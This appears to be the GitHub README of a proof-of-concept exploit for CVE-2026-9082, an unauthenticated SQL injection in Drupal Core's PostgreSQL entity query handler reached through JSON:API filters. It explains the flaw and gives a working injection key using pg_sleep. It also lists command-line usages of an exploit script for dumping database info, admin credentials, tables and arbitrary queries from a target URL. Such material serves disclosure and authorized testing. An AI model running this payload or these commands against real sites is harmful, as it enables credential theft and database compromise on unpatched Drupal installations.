7h30th3r0n3/CVE-2026-9082-Drupal-PoC
GitHub: 7h30th3r0n3/CVE-2026-9082-Drupal-PoC
Stars: 12 | Forks: 1
CVE-2026-9082 - Drupal Core PostgreSQL SQL Injection PoC
Overview
This repository provides an ethical Proof-of-Concept (PoC) for CVE-2026-9082, a Highly Critical SQL injection vulnerability in Drupal Core affecting all PostgreSQL-backed sites running Drupal 8.0 through 11.3.9.
The flaw resides in the PostgreSQL Entity Query Condition handler and can be exploited by anonymous (unauthenticated) users through the JSON:API module, which is enabled by default since Drupal 9.
Official advisory: SA-CORE-2026-004
Vulnerability Summary
Drupal Core includes a database abstraction API designed to sanitize queries
and prevent SQL injection. A flaw in the PostgreSQL-specific Entity Query
Condition class (core/modules/pgsql/src/EntityQuery/Condition.php)
allows an attacker to inject arbitrary SQL through user-controlled
array keys passed via JSON:API filter parameters.
- CVE ID: CVE-2026-9082
- Advisory: SA-CORE-2026-004
- Affected Software: Drupal Core
- Affected Versions: 8.0.0 – 11.3.9 (PostgreSQL backend only)
- Fixed in: 11.3.10, 11.2.12, 10.6.9, 10.5.10
- Severity: Highly Critical — 20/25 on Drupal risk scale
- Authentication: None required (anonymous)
- Impact: Data exfiltration, privilege escalation, RCE in some configurations
- Attack vector: HTTP — JSON:API filter condition array keys
How it works
-
The
translateCondition()method in the PostgreSQL Condition class iterates over$condition['value']and uses the array keys to construct PDO placeholder names:
$where_id = $where_prefix . $key; -
JSON:API allows anonymous users to supply filter values with
arbitrary array keys via URL parameters:
filter[x][condition][value][MALICIOUS_KEY]=val -
PDO named placeholders only consist of
[a-zA-Z0-9_]characters. When the key contains), PDO stops parsing the placeholder name — everything after becomes literal SQL injected into the query. -
By sending a key like
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--, the attacker closes theIN()clause and appends arbitrary SQL, while the binding for:prefix_1is satisfied by a legitimate key1in the same request.
References & Credit
- Advisory: SA-CORE-2026-004
- Patch commit: ea9524d9
- Discoverer: michaelmaturi (credited in the advisory)
Legal Notice
This tool is intended for authorized security testing, educational purposes, and ethical research only. Unauthorized access to computer systems is illegal.
Installation
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
Usage (CLI)
# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
Author
- PoC developed by 7h30th3r0n3
- Vulnerability discovered by michaelmaturi